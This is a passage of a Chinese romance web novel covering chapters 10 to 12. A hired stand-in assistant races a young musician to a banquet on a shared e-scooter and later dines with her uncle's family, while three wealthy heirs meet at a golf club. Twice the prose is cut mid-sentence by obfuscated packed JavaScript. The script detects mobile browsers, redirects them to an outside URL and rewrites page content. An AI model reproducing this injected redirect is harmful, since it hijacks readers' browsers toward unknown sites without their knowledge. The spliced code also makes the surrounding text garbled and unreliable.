“这个理由还不够充分吗?”颜玉琢的指尖在方向盘上敲敲,反问他,“难道你努力工作不是为了钱,而是为了爱吗?” “对啊!”哪想到陆之熠居然点了点头,很诚挚地说,“我从小就喜欢音乐,妈妈说我还在摇篮里的时候,听到CD机里播放的音乐就会跟着一起手舞足蹈。后来我长大了,跟着爸妈学了钢琴和小提琴,读大学后又接触了管乐,然后开始试着写歌,没想到误打误撞就火了。” 真是好一个“误打误撞”,颜玉琢想起他那长长的热门作品列表,看来创作这件事情,只有这样纯粹的傻瓜,才能做得好。 “抱歉,让你失望了。我和你不一样,我是个俗人,工作就是为了赚钱。”颜玉琢自嘲,“句句肺腑,绝无假话。” 话题戛然而止,越野车里陷入一阵古怪的沉默之中。 陆之熠抱着怀里的假发人头,心思漫漫散开——他总觉得,颜玉琢说得虽然是实话,但并不是全部的实话。 如果她真的那么爱钱的话,为什么她在看到他衣帽间里的名牌手表时,根本不为所动,连眉毛都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029704|162285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没抬一下? 他确实年轻,但他不愚蠢。在这个复杂的圈子里,他见过许多贪婪的人,他们的眼神浑浊,几乎把算计写在脸上,口里说着恭维的话,心里却想着糟糕的事情。 可颜玉琢没有。她说她爱钱,但她的眼睛很干净。 就在陆之熠胡思乱想之际,车子忽然停了。 只见颜玉琢解开保险带,命令陆之熠:“下车。” 陆之熠:“……啊?” 颜玉琢无奈:“你难道没发现吗,咱们已经在这个路口堵了十分钟了。” 陆之熠这才扭头看向窗外,后知后觉地发现窗外的街景已经很久没有变过了。 六点半正是晚高峰时间,尤其今天是周五,越是靠近主干道,越是堵得水泄不通。 在颜玉琢的计划中,半个小时赶到餐厅轻而易举,可车子行驶到半途,他们就被堵住了。如果就这样随波逐流的堵下去,他们百分之百会迟到。 颜玉琢点开车载地图,指尖在屏幕上滑动:这里距离餐厅还有三公里,但前方道路一片赤红。 为了她的委托金,颜玉琢当机立断,决定把车停在路边,换一种出行方式。 陆之熠茫然地跟在她身后下车,只见她径直走向路旁停放的共享电动车,刷码开车。 她取下车上的两个头盔,把其中一个递给了陆之熠。 陆之熠低头看看头盔,再抬头看看她:“……?” 见他不接头盔,颜玉琢好脾气地向他解释:“骑电动车不戴头盔是要罚钱的。” “啊不,我是说……一定要骑电动车吗?”陆之熠迟疑地问,“就没有其他方式了?” “也有。”颜玉琢认真回答,“你可以飞过去。” “……” 颜玉琢先一步跨上电动车,拍了拍后座:“别耽误时间了,快上来。” 青年愣在原地:“你载我?” 颜玉琢:“这里也没有第二辆车了,咱们只能坐这一辆。” “就不能我载你吗?”陆之熠感觉自己的男子气概摇摇欲坠。 颜玉琢目光凉凉地扫他一眼:“你的经纪人说,你最近都没怎么睡觉,我的生命很宝贵,我不可能把我的生命交在你这种疲劳驾驶的人手里。” 有理有据,无从反驳。 青年从来没想过,他此生居然还有做别人后座的一天——而且还是刚刚认识不到一个小时的助理姐姐身后! 共享电动车的尺寸远比一般的电动车要小,陆之熠个高腿长,他可怜兮兮地缩在窄小的座椅上,模样滑稽得要命。但更要命的是,因为空间太小,他的身体不免触碰到颜玉琢,身为绅士,他不得不后仰身体,拉开自己与她的距离,唯恐让她感到不舒服。 可颜玉琢并不在意:“你是第一次坐电动车吧?车速很快,你要抓紧我。” 思来想去,陆之熠伸出两根手指,谨慎地捏住她帽衫上的帽兜。 颜玉琢回身看向他别扭的兰花指,哭笑不得:“你离我那么远做什么?” 一边说着,她一边强硬地抓起他的手,直接按在了自己的腰侧。 陆之熠自幼学习乐器,至今已有二十年,他的手宽大、有力,一左一右扶在女人腰畔,纤细得好像两只手就可以合围;他的手掌微微收紧,又不敢过分用力,只能隔着衣衫感受掌心下传来的温度。 “看来你已经准备好了——”颜玉琢拧动油门,车子犹如离弦之箭,迅速冲了出去,“——Zayn,抱紧我。” 10. 第10章 大鸟依人 第十章 夕阳垂挂在遥远的地平线上,触目可及之处皆被橙红色晕染。 城市中心堵得水泄不通,若这时有人站在过街天桥上往下望,就会发现南北车道全是一片红色刹车灯,一排排汽车像是豆荚里的豌豆一样排列在车道上,挤挤挨挨动弹不得。 出租车司机早已习惯了这样的晚高峰大堵车,他娴熟地拉下手刹,旋开收音机按钮,随着电台里播放的音乐哼起小曲。 坐在后排的乘客忽然探过身体,焦急地问:“司机师傅,还有多久能到啊?” 司机看了眼堵得通红的地图:“就剩这最后一个路口了,大概二十分钟吧。” 听到司机的话,乘客重重地叹了口气。 反正堵车也是无聊,司机把收音机的音量关小,同乘客闲聊:“您是去赶饭局吧?您可真是够忙的,风尘仆仆的拎着一个大箱子从机场出来,直奔餐厅……您今晚要谈生意?” “我看起来像生意人?” “像。” “可惜您猜错了。”杨斌苦着脸自嘲,“我是一个保姆。” “啊?” “每天提醒小祖宗按时吃饭、按时睡觉、按时交作业,好不容易带小祖宗出门一趟,还要我三催四请,稍不留神他就溜了。”杨斌越说越痛苦,“这不是保姆是什么?” 杨斌当然不是保姆,这世界上也不会有人放心请一个四十岁的中年男人当保姆。实际上,他是一个专业的音乐经纪人,只是他合作的音乐家们都太“个性”,一个个脾气刁钻古怪,而最难搞的家伙,就是现在收音机里正在介绍的音乐才子陆之熠。 平心而论,陆之熠已经算是老实的了,不飙车,不酗酒,不私联女粉丝,不在网上随意发表莫名其妙的言论……但他是个十足的工作狂,经常不打招呼就关机失联,跑去某个鸟不拉屎的山沟沟里“感受灵感”“闭关创作”,一消失就是大半个月,急得杨斌满世界找他。 就拿今天来说,杨斌本来和陆之熠说好,要他准时出门去参加晚宴,结果陆之熠莫名其妙又失联了! 关键时刻,杨斌求助了他的老朋友陈凤起,让她委派一名“临时助理”去缉拿陆之熠。 想到这里,杨斌打开了手机里的“千面人生app”。 【委托人:@默认用户Y114879 委托内容:请于七点之前送陆之熠抵达w酒店晚宴厅,每提前五分钟,报酬提高10%】 【接单人:@玉不琢 委托内容更新:5点35分抵达陆先生家; 委托内容更新:6点10分完成简单妆造; 委托内容更新:6点15分上车出发(照片.jpg)】 这位接单人非常负责,每个环节都会拍照上传到系统后台,让杨斌格外放心。 他心中松了一口气,点开了最新上传的一张照片,结果一下就瞪大了眼睛! 照片里,陆之熠穿着一套样式休闲的西装,妆发齐全,坐在一辆越野车的副驾驶座上。只不过,他怀中抱着一个戴着假发的人头模型,他专注地和假发人头“眼神交流”,也不知道在交流什么东西。 杨斌:“……” 算了算了。 他安慰自己,只要陆之熠能准时抵达就好,不在乎到底怎么到的。 杨斌捏了捏山根,收起手机,把目光移向车窗外,他降下车窗探出脑袋,打算看看前面到底堵了多长——突然间,车身后响起一阵刺耳的喇叭声,一辆电动车由远到近迅速杀了过来! 杨斌吓了一跳,赶忙把脑袋缩回车窗里,下一秒,一辆蓝色的共享电动车擦着车身飞驰而过。 在那个瞬间,世界好像被放慢了无数倍,眼前的每一帧画面都变慢、变慢、变慢,慢到杨斌可以清楚地看清每一个细节—— 他看到,一位英姿飒爽的女骑士驾驶着电动车,长发在身后飞扬,她眼神里好像带着熊熊火焰,目空一切,眼里只剩下前行的道路; 他看到,一名身材高大的青年手脚蜷缩地坐在她的身后,两只手臂环抱住她的腰肢,随着车轮的颠簸,他一头扎到女骑士的肩膀上,呈“大鸟依人”状。 当电动车从车窗外飞驰而过时,青年的目光与车内乘客交汇了。 青年:QwQ!!!!!! 杨斌:O口O?????? 电动车一闪而过,时间的魔法消失,重新回归了原有的节奏。 出租车司机愤愤按了下喇叭:“这些电动车也太刁钻了,就算这里是辅路,也不能骑得这么快吧……哎先生,您怎么突然开车门啊,您是要在这里提前下车吗?” 杨斌管不了这么多了。他开门下车,站在车旁扬脖张望那辆电动车远去的身影。 女骑士载着她身后的依人大鸟,融入到滚滚车流之中,他们的身影被夕阳吞没,逐渐消失了。 杨斌:“……” 是他看错了吗,他怎么觉得那只“大鸟”,是他家祖宗陆之熠啊?! …… “很好,提前抵达!”颜玉琢拧下刹车,电动车停靠在W酒店前。 酒店外的两位门童面面相觑,不知该不该帮忙扶车。 陆之熠头重脚轻地从座椅上站起来,摘下头盔,只见他唇色泛白,额头泛起一层薄汗。 颜玉琢“哎呀”一声:“Zayn,你晕电动车?” “没、没有。”陆之熠眼睛湿漉漉又亮晶晶,满是崇拜的目光,“姐姐,你车技真好!” 刚开始,他还顾忌绅士体面,只敢把手轻轻搭在她的腰上,可是当颜玉琢逐渐提速、在车流里七拐八绕、把其他人通通甩在身后……时,他忍不住紧紧环抱住她的腰,感受肾上腺素飙升的感觉。 他酷爱速度与激情,每次肾上腺素飙升之时,他才能充分体会到他与这世界的连接,灵感女神也会在这时降临。 现在速度已经有了,激情也不远了。 “噗……行,没白长这么大个子,胆子很不错嘛。”颜玉琢欣然收下他的称赞。 她的电动车车技是在大学期间练出来的,传媒大学的本科生公寓距离学校足足有三公里,虽然学校有大巴接驳车,但是根本挤不上去。 颜玉琢干脆和舍友凑钱买了辆二手电动车,今天你载我,明天我载你,俩人在车流里见缝插针,每次都能踩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15029705|162285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点儿到教室。 毕业后,颜玉琢也骑电动车载过其他人,但大家都被她的车技吓到,谁都不肯再坐了。 “好了,你站好,让我拍张照。”颜玉琢指挥陆之熠站在w酒店门口,随手按下拍照键,然后把照片上传系统后台。 【接单人:@玉不琢 项目进度:6点45分,顺利把陆先生送抵w酒店宴会厅,提前十五分钟完成任务(照片.jpg)。 项目进度:项目已结束,可去后台申请结算】 照片里,打扮得帅气青春的陆之熠站在酒店大门口,模样乖乖的,像是等待主人接回家的小狗。 “OK,任务完成。”颜玉琢看到后台那个远超她期待的报酬时,她没忍住露出一抹笑意。 果然娱乐圈不差钱啊,这种临时助理的小活儿,耗时不过一个半小时,都能得到如此丰厚的酬劳。 钱钱到手,她心情大好。她收起手机,抬头看向面前的青年:“Zayn,你的经纪人好像还没到,你是提前进场,还是等他一起?” “我等他一起。”陆之熠很不喜欢这种应酬的场合,一想到自己进去后,就会像一块肉一样被那群鲨鱼盯上,他就烦的要命。 “那好。”颜玉琢面对这个比自己小两岁的年轻人,忍不住用上了哄小朋友的语气,“那你就在站在这里乖乖等经纪人来,不要乱跑哦。姐姐我先走了。” 说完,她跨步上车,结果还没来得及拧动油门,青年猛地伸出手,拽住了她的车把。 颜玉琢:“?” 她好奇问:“怎么了?” “姐姐,你……”陆之熠不知道自己怎么了,他从刚刚坐车起,心脏就一直跳个不停。他还以为是因为车速太快引起的,但怎么他下了车,他还是觉得头晕目眩,甚至连耳膜里都能清楚听到心脏鼓动的声音? 他迟疑数秒,还是问出了那句话:“我之后还有机会见到你吗?” “当然啊。”颜玉琢莞尔一笑,语气轻快,“有钱能使我推磨。下次再有这种(钱多事少的)工作,可以随时让你经纪人找姐姐下单。” “……”陆之熠觉得,这好像不是他想听到的回答。 忽然,颜玉琢的眸光落在他的双眼上,她认真注视了他几秒钟,抬起手,向他勾了勾手指:“Zayn,你靠近些。” 陆之熠感觉胸腔里撞击的心跳声更大了。 他不知道颜玉琢唤他是做什么,但他还是听话地俯下身,乖乖把脑袋凑到了她面前。 他们离得太近了,好像比化妆时离得更近,近到呼吸都交融在一起。 陆之熠心中居然升起了一丝懊悔,为什么他刚刚拒绝画粉底呢,现在他脸上攀升的热度,肯定一览无余了。 但是,女人好像没有看到他逐渐红透的耳朵,也可能她看到了,却根本不在意——她伸出手,指尖轻轻拨开他额前垂落的几缕发丝,把凌乱的发丝固定在一个合适的位置。 “刚才戴头盔,把你的发型都弄乱了,现在这样就好多了。”颜玉琢收回手,笑盈盈地看向面前沉默到快要爆炸的青年,“Zayn,今晚加油,我期待你的好消息。” 11. 第11章 贪心 第十一章 【尊敬的全能替演师@玉不琢,您已完成委托单1337件,好评率98.45%】 【夜已深啦,是否停止接单?】 【确认】 结束了这一天繁忙的任务,颜玉琢关闭app的后台接单,整个人终于从里到外的放松下来。 今天她一口气接了三单委托,扮演了三个截然不同的角色,大脑一直在飞速运转,现在精神松懈下来,她困得直打哈欠。 她迫不及待地回到自己的小家,直接扑倒在沙发上。果然金窝银窝,都不如自己的小窝。 颜玉琢在沙发上“死”了好一会儿,半梦半醒差点睡过去。 突然,她一跃而起——不行,她还没有洗澡卸妆!——可惜她对抗地心引力失败,又挣扎着倒了下去。 每到这个时候,颜玉琢都想下个委托单,委托别人来替她洗澡洗头卸妆敷面膜换衣服,最好还能再给她倒一盆热水,让她好好泡脚放松。 哎,打工不易,玉玉叹气。 在这一刻,柔软的沙发仿佛变成了吸人的泥潭,她被封印在沙发上动弹不得,干脆放弃抵抗,摸出手机来玩。 今天接的第一单小野猪的委托,对方给出了五星好评(以及一句阴阳怪气的追评);第二单替妹妹代上课,沛沛还没有评价,想来她看爱豆演唱会太开心,完全把委托抛在了脑后;第三单护送大明星去晚宴,经纪人很满意她的速度,还给了额外奖金…… 累虽然累,但在金钱面前,再累也值得。 她调出自己的存款记录,好好欣赏了一番日渐增长的数值,然后心满意足地关上。 接着,她又打开微信朋友圈刷了刷,给同事、朋友们点了一圈赞;最后才打开她的工作日程表,确认周末的委托。 这个周末她事情不多,除了周日晚上有一个老雇主的固定委托以外,她本周日中午要去叔叔家拜访。 颜玉琢年纪很小的时候父母就离了婚,她大多时间都是住校,叔叔心疼她,经常把她叫去家里吃饭,颜沛沛就是叔叔的女儿。从小到大,沛沛一直做她的小跟屁虫,俩人情同亲姐妹,若非如此,颜玉琢也不会答应以那么低廉的价格替妹妹去学校上课。 这么一看,她周六可以停止接单,好好在家休息一天了。 在自己花钱买的房子里拆快递,点外卖,玩游戏,看综艺——呜呼,她辛苦工作赚钱,不就是为了这一刻嘛! …… 转眼就到了周日,颜玉琢一早起来去超市买了一箱补品、几样进口水果,于上午十点准时敲响了叔叔家的大门。 门刚一打开,一道意想不到的人影就扑进了她的怀里。 “姐,你可算来了!”颜沛沛向她求救,“你再不来,我都要被我爸妈念叨疯了。你快看看我头上的紧箍咒,是不是又紧了?” 见到妹妹,颜玉琢十分意外:“沛沛,你怎么在家?你不是……”她指了指耳朵,意思是演唱会。 沛沛哭丧着脸:“我太傻了,周五晚上我看完演唱会,没忍住发了条朋友圈,本来想屏蔽我爸妈,结果不小心设置成提醒我爸妈看了……” “噗!”颜玉琢嘲笑她,“这种低级错误你居然都犯?” 沛沛哀嚎:“我妈那天晚上给我打了几百个电话,勒令我周六必须回家!我都二十二了,不过是和舍友一起看演唱会,她有什么不放心的啊!” 她话音未落,客厅里就响起婶子气恼的声音:“颜沛沛,我看你一点都没反省!你要是再这么任性,你的生活费就别想要了!” “妈——你一点都不理解我!” 关键时刻,颜玉琢站出来给她们母女俩调停。她很懂得如何讨长辈欢心,也明白怎么站在妹妹角度替她说话,有了她的加入,这对母女之间的大战终于消停下来。 沛沛挽着颜玉琢的手臂回了自己卧室,说是要和好久没见的姐姐说“悄悄话”,结果刚关上门,她就立刻原形毕露—— ——“姐,你可救救我吧!” 沛沛差点给她跪下:“呜呜呜呜呜我听同学说了,下课的时候周阎王是不是主动找你了?他是不是已经记住你的脸了?完了,他记性很好的,要是下周我去上课,他点名的时候肯定就会发现我不是你了!” 颜玉琢根本不吃她这一套:“这是你自己惹出的祸,我可不给你擦屁股。” “小玉姐,我最亲最爱的姐姐!”沛沛双手合十,可怜巴巴,“你也听到我妈刚才的话了。因为我偷偷跑去看演唱会的事情,她真的很生气,我要是因为追星翘课再被周阎王挂了科,她肯定要扒掉我的皮!” 想到叔母的河东狮吼,颜玉琢确实心软了,但她依旧没有动摇:“沛沛,我难道还能帮你上一学期的课吗?万一露馅了怎么办?” 说到这里,颜玉琢脑海中又浮现出周珩止的身影。讲台上的他,确实高冷严肃,但私下也会露出平易近人的一面。 她提议:“你不如去向周教授道歉,主动承认上次找人代课的错误,我觉得……他人不错,应该不是那么不近人情的教授。” “姐,你太不了解他了。”沛沛抱着胳臂抖了抖,“周教授可是学院里有名的玉面阎王!每一个被他那张帅脸迷惑、想和他‘套磁’的学生,最后都被他冻死了。你让我自首,不如直接判我死刑!” 颜玉琢还想说什么,沛沛抢先一步开口:“姐,你只要再替我上一节就好了!” 她语速飞快的解释:《生态城市空间设计》分为理论课和实践课两部分,沛沛已经找好了后期实践课的搭子,实践课老师不会参与,各小组自由行动,沛沛绝对不会被发现身份;下一堂就是理论课的最后一节,唯有这一节课需要颜玉琢“狸猫换太子”。 听起来不是什么难搞的工作。 实话说,颜玉琢心里也有些对妹妹的小愧疚:如果不是她在眼镜店多管闲事主动和周珩止搭话的话,周珩止可能根本不会在意她这个假学生。 “好吧。”颜玉琢勉为其难,“我再帮你一次,接下来只能靠你自己了,”她摊开纤纤玉手,“还有,你的压岁钱交出来一半。” “啊??” “惊讶什么?姐姐的委托费可是很贵的。” …… 她们在房间里呆了好一会儿,直到婶子敲响房门叫她们吃饭,姐妹俩才从房间里出来。 餐桌上已经摆了满满一桌的美食,叔叔亲自下厨,做了好几道拿手菜。 沛沛双眼放光,第一时间抢占可乐鸡翅正对面的位置,结果叔叔直接把可乐鸡翅拿走,摆到了颜玉琢面前。 沛沛:噘嘴委屈.JPG 颜玉琢见妹妹一脸可怜模样,主动说:“把鸡翅放妹妹面前吧,她爱吃就多吃些。” “吃什么鸡翅?让她好好反省。”叔叔哼了一声,“她胆子也太大了,不和家里说一声,就敢去外省追星,真是要急死我们了。” “难道我和你们说了,你们就会同意吗?”沛沛顶嘴,“我平时上学已经够辛苦了,我就想换换心情去看演唱会,是犯天条了……唔!” 她一句话没说完,颜玉琢就眼疾手快地把一只鸡翅塞进了她嘴巴里,堵住了她接下来的话。 颜玉琢又往她碗里连夹三个鸡翅,给她猛使眼色:“吃东西的时候别说话。” 沛沛:“呜呜呜!(嚼嚼嚼)” 颜玉琢又给自己夹了一只鸡翅,边吃边称赞:“好久没吃家常菜了,叔叔的手艺还是那么好。” 提起自己引以为豪的厨艺,叔叔终于露出点笑模样:“那可不!我就是靠这好手艺,追到的你婶子。那时候你婶子可是厂花,我们厂里好几个年轻小伙子同时追她,但他们只会送花、请她看电影、约她去公园散步,只有我不一样,我每天变着花样给她带午饭……” 婶子不好意思了:“闭嘴吧,你多大年纪了,这点陈芝麻烂谷子的事还拿出来说。” 颜玉琢边吃鸡翅边恭维叔叔:“真羡慕叔叔和婶子感情这么好。” “羡慕的话,那你也抓紧时间找一个啊。”哪想到叔叔话锋一转,突然开口,“对了小玉,上次你婶子给你介绍的那个男生,你去见了吗?” 本以为能安心吃饭的颜玉琢:“……” 坐在对面的沛沛向她挤眉弄眼:活该了吧,轮到你喽! 颜玉琢:“我最近太忙,没时间见。” “忙什么?” “忙着赚 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颜玉琢自小在父母的争吵声中长大。明明年轻时两人也是一对人人称颂的伉俪,结果婚后爱侣变怨侣——丈夫追求自由,婚后出轨不断,对每一任出轨对象都声称是真爱;妻子隐忍不发,转移了他名下的所有财产,卖掉所有房车,余额全部清零。 他们打离婚官司时,差点在法庭上大打出手,当时小小的颜玉琢就坐在法庭外面,一边晃着腿吃冰激凌一边听里面唱大戏。 离婚后,法庭宣判颜玉琢归父亲,父亲骂骂咧咧说前妻没良心,居然卷钱跑路。 可颜玉琢觉得,她妈没让他爸净身出户,还给他留了一条底裤,已经是良心大大得有。 她永远记得,她妈出国奔赴新生活前,给她塞了一张银行卡,对她说了最后一句话——“小玉,这世界上爱情是最不可靠的东西。真心易逝,唯有金钱永不背叛。” ……总而言之,言而总之,颜玉琢不想搞男人,只想搞钱。 但是当着叔叔的面,颜玉琢总不能抨击男人这种生物,她只能另辟蹊径,宣称自己又贪财又花心。 餐桌对面的沛沛一边啃着鸡翅,一边对她伸出了大拇指:“姐,你是这个!(嚼嚼嚼)” 叔叔还想再讲什么大道理,没想到婶子打断了他。 “小玉,你们年轻人恋爱,和我们那个时代不一样了。我没你叔那么古板,男人交往好几个女朋友,别人夸他有本事,女人交几个男朋友,就被抨击? “只要不结婚,你想谈几个就谈几个。你慢慢谈,慢慢挑,有中意的就带回家,让我和你叔叔也相看相看,帮你把把关。 “你放心,我们绝对不会说漏嘴,你带回来的每一个男人,我们都会说——‘你是小玉带回家的第一个男朋友,我们第一次见她这么喜欢一个人!’” 颜玉琢:“……” 呃,倒也不必。 不过,为了婶子的“深明大义”,颜玉琢还是要敬她一杯的。 “那就谢婶子吉言啦,”颜玉琢端起可乐,语气调皮轻快,“来,婶子,咱们干一杯!” 婶子跟着举起杯子:“好好好,干一杯。婶子祝咱们小玉,能挑到一个合你心意的如意郎君。” 沛沛一听,扔下鸡翅也要凑热闹。她手指上还带着油,只能用两只手掌夹着可乐,凑到妈妈和堂姐的杯子旁:“那我就祝姐姐工作顺心,多多赚钱,多多发财!” 三人碰完杯,她们同时转头看向桌上唯一一个沉默不语的老男人。 叔叔:“……” 在老婆、女儿、侄女的盯视下,他还能讲什么陈词滥调的大道理呢? 他长叹一口气,也举起酒杯,贴到了她们仨的杯子旁:“那我……那我就祝……祝小玉快快乐乐,万事如意吧。” “爸,这又不是过春节,哪儿有祝别人万事如意的?” “老公,你看你又被嫌弃了吧?” 颜玉琢洒脱一笑,把大家的祝福照单全收,又补上了一句话。 “叔叔,婶子,小玉,来,干杯——祝我理智清醒,祝我万事顺心,祝我财源广进,祝我万人风靡!” 谁说鱼与熊掌不可兼得,她颜玉琢要梦就梦个最大的! 12. 第12章 三位男嘉宾 第十二章 当颜玉琢和叔叔一家齐聚在餐桌旁其乐融融时,在城市的另一个角落有着另一番景象。 伴随着一阵引擎轰鸣声,一辆纯黑色的迈巴赫轿车缓缓停在高尔夫会所外。车子刚一停稳,门童就小跑着迎上来,为后排贵客拉开车门。 走下车的男人身着一套专业的高尔夫运动装,肩宽臂长,顾盼自傲,只是眼神里带着一抹旁人不易察觉的烦躁;他下车后,随手向门童手里塞了一张小费,又转身叮嘱司机:“三小时后……不,两小时后就来接我。” 会所经理恭敬地等候在旁,脸上挂着妥帖又不会过分谄媚的笑容:“庄先生,您的球杆我们已经提前保养好,送到您的包厢里去了。” “好。”庄策单手插袋,熟门熟路地走进会所,随口询问,“他们到了吗?” 根本不需要说明“他们”究竟是谁,会所经理就心领神会。 “周先生已经到了,陆先生还没有。” “啧,姓周的家伙每次都故意早到,也不知道是做给谁看。”庄策的声音不算小,根本不在意是否会被别人听到。 会所经理眼观鼻鼻观心,安静得像块木头。在他们眼里,这些富豪之间的关系,可比甄嬛传的后宫斗争还要复杂。 庄策的包厢是会所里位置最好的一个,位于缓坡之上,独享一整片草坪,还能远眺湖面,每次“朋友”聚会,都会约在这里。 在经理的引领下,他很快来到了包厢外。他烦躁地呼出一口气,调整好状态,扬起一个虚假得不能再虚假的笑容,推开了包厢大门。 这间包厢足有两百平米,落地玻璃墙外就是一望无际的高尔夫草坪,碧草茵茵,蓝天如洗,热烈得几乎刺目的阳光撒入室内,一组经典包豪斯风格沙发正对着窗外,坐拥一片盛景。 沙发的单人位上,已经有了一道身影。 那是一个年约三十岁左右的男人,成熟而冷峻,鼻梁上一副玳瑁眉框眼镜,更衬得他威严不可亲近。 一旁的茶海前,一位资深茶博士正在为男人展示茶道。青泥紫砂壶古朴别致,壶嘴微微倾斜,茶水如涓涓溪流注入茶盏,又从茶盏分入三只公道杯中;杯中熟茶透亮,色如琥珀,一时间,茶叶的醇厚香气在房间里扩散。 “呦,周老师,”庄策扬了扬下巴,同他打招呼,“好雅兴。” “小庄总好。”周珩止合拢手里的英文版《建筑与感官》,抬眉看了过来,“不知你的口味,我让茶博士选了三年陈的高黎贡山普洱,可以来尝尝。” “您请便,我还是更喜欢喝咖啡。”庄策的视线从那杯冒着香气的茶汤移到对方手里的外文书上,又漫不经心地转移目光。 ——呵呵,臭教书的,跑这里来装x了。 庄策单手撑在连座沙发的椅背上,轻轻一跃,长腿便迈过沙发,身体陷入沙发一隅。他打响指唤来服务生,语气轻慢随意:“一杯咖啡,老规矩,triple triple(三倍奶三倍糖)。” 他如此恣意洒脱的做派,在周珩止眼中简直和触犯天条无异。 但周珩止没有多说,他俯身端起茶杯细细品茗,心思在茶汤中蔓延。 ——他和吊儿郎当的混子可没什么话说。 就在此时,包厢门外响起一道急匆匆的脚步声,以及一个年轻男子打电话的声音。本来这里包厢的隔音是非常好的,但刚才庄策进门时并没有关紧大门,留了一道小小缝隙,故而室外的声音清晰地穿进了房间里。 “妈,你别催了,我已经到了。我真的不理解我爸为什么总要逼我来参加这个聚会。” “没错,我知道,我爸和周叔叔、庄叔叔是老同学老朋友,但他们的友情他们自己延续就好了啊,为什么要让我们三个人继承啊?” “我和他俩根本没有任何共同话题。” “那个周珩止,年纪轻轻就一把年纪,我每次和他尬聊,我都以为在和我爹说话,听得我想打瞌睡。我不会到了三十岁,也自动进化成老头吧?” “还有庄策,回国之前我听说他创业成功,在科技领域风生水起,我还以为他走霸道总裁路线,没想到他情商赶不上智商,目中无人眼高于顶。” 周珩止:“……” 庄策:“……” 门外的陆之熠完全不知道,他和母亲抱怨的电话声被室内的两个人完全听去了。 不过即使他知道了,也不会在意。 前不久他刚学了一句中国古语(?)——我看诸君皆有病,料诸君见我应如是。 没错,他们三个人就是一种互文的关系。 陆之熠挂断电话,整好衣冠,推门走进了包厢内,房间里已有两道身影等候。 “周哥好、庄哥好,不好意思路上有点堵车,我来晚了。” “没关系,反正大家都不赶时间。”周珩止抬手指向面前的茶杯,表情温和,没有一点破绽,“这是高黎贡山普洱,你要试试吗?” “谢谢,不用了。”陆之熠婉拒,“我还没到喝茶的年纪。” “……” “不如来杯咖啡?”庄策晃了晃手里三倍奶三倍糖的咖啡,“这里的豆子很不错,有一种巧克力的焦香。” “也不用了。”陆之熠摆手,“我过了喝奶茶的年纪。” “……” “不好意思两位哥哥,我在国外时习惯喝tonic water(气泡水)。”说完,陆之熠转向服务生,灿然一笑,笑容极富感染力,“你好,请给我一杯干姜金汤力。” 周珩止默默喝完面前的三杯茶。 ————毛都没长齐的小屁孩,懒得教他规矩。 庄策把咖啡里的冰块咬得嘎吱作响。 ——假洋鬼子,真是没品味的low货! …… 三人齐聚后,他们让服务生帮忙拍了一张合影,然后各自传到了各自的“相亲相爱一家人”群里。 照片里,他们三个分别坐在沙发的三个角落,一人喝茶,一人喝咖啡,一人喝气泡水……各干各的,毫无眼神交流。 不知道他们的父亲看到照片后,满意不满意他们的“珍贵友情”。 合影结束,庄策问:“我要去打几杆,有人一起去吗?” 不出所料,两人都婉拒了他的高尔夫邀请。 陆之熠打算去游泳,还想在泳池边晒晒日光浴;周珩止说他不喜欢运动,要留在房间里看书。 于是三人一拍即散,分道扬镳。 那两个烦死人的家伙离开后,周珩止终于可以独享一套房间。包厢里寂静无声,只有书页悄然翻动的声音。 夏末的阳光透过一整面玻璃墙落下,如一张金色的毛茸茸的毯子,温顺地伏在男人的脚边。 周珩止看书看得很入迷,他的手指轻轻摸索着精装书背上凹凸有秩的雕印,即使指尖粘上了金粉也浑然不觉。 这本书讲得是建筑与哲学的关系,由芬兰国宝级的建筑大师所作,他特地托人从欧洲带回,书页里仿佛还夹着赫尔辛基的街景。 作为A大最年轻的副教授,周珩止除了有固定的教学任务以外,偶尔也会亲自操刀建筑设计。前不久,他刚刚结束了一个和设计院合作的重点项目,升级改造了一所盲童学校;他本想在项目后好好休息,一口气把这本书读完,哪想到计划赶不上变化,他莫名其妙被学校教务处分配了一个代课工作。 想起那门计划外的课程,周珩止翻书的动作慢了下来。 真是奇怪,他看书时很少会分神的。 他想要摒弃杂念,可更多的杂念接二连三地闯进了脑海中。 鼻梁上的新镜框比他原本的沉,低头时会顺着鼻梁下滑,他时不时就要抬一抬;为他挑选镜框的女生眼光独到,很是狡黠灵慧,只是上课躲点名的样子很狼狈。 对了,她叫什么名字来着?……记不清了,只记得姓颜,名字很普通,远不如她本人出彩。 周珩止漫不经心地翻过一页书,那些长句短词映入他的双眼,却没在他的脑海里留下一丝痕迹。 等到周末过去,周一就不远了。周一过去,周二就不远了。周二过去……周五就不远了。 很好,又要上课了。 周珩止可能是这世界上最后一个期待上课的人了吧。 按照教学大纲,在最后一节理论课结束后,学生们就该自由分组、自由调研活动了。这节课不需要考试,只是在结课时需要小组共同做一个大作业presentation。 作为代课老师,周珩止可以甩下负担,好好休息半个学期。 不过现在他觉得,他可以再多多“负担”一些。教书育人是老师的本分,周珩止很期待能和同学们一起进行实践活动。 …… 高尔夫车停在缓坡之上,球童殷勤地帮庄策取下了两组球袋。 作为这里的vip客人,庄策不仅有自己的包厢,他的球杆也长期保管在俱乐部中,工作人员会定期帮他保养,让他不管何时前来,都可以打得尽兴、愉快。 